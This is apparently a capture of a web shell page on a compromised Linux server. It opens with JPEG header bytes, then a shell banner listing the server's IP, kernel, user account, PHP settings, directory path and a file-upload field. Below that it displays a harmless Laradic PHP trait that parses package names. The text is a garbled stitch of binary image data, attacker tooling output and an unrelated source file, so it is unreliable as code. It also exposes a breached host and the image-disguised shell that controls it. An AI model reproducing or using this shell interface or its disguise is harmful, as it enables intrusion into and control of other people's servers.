ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vaoday/vendor/laradic/support/src/Traits/ |
Upload File : |
<?php
/**
* Part of the Laradic PHP packages.
*
* MIT License and copyright information bundled with this package in the LICENSE file
*/
namespace Laradic\Support\Traits;
use Laradic\Support\Str;
/**
* This is the NamespacedPackageTrait.
*
* @package Laradic\Support
* @author Laradic Dev Team
* @copyright Copyright (c) 2015, Laradic
* @license https://tldrlegal.com/license/mit-license MIT License
*/
trait NamespacedPackageTrait
{
/**
* Returns the regex to validate and parse package names
*
* @return string
*/
protected function getNamespacedPackageRegex()
{
$part = '([a-z\d-_]*)';
return '/^'.$part.'\/'.$part.'$/';
}
/**
* Checks if the given $packageName is valid
*
* @param $packageName
* @return bool
*/
protected function isValidPackageName($packageName)
{
if (! preg_match($this->getNamespacedPackageRegex(), $packageName, $matches) or count($matches) !== 3) {
return false;
}
return true;
}
/**
* Parses a package name (eg: codex-project/github-filesystem)
* and returns an associative array containing the vendor and package name
*
* @param $packageName
* @return array
*/
protected function parsePackageName($packageName)
{
preg_match($this->getNamespacedPackageRegex(), $packageName, $matches);
return [ 'vendor' => $matches[ 1 ], 'package' => $matches[ 2 ] ];
}
/**
* Transforms a package name (eg: codex-project/github-filesystem) into a namespace (eg: CodexProject\GithubFilesystem)
*
* @param $packageName
* @return string
*/
protected function getPackageNamespace($packageName)
{
return Str::namespacedStudly($packageName);
}
}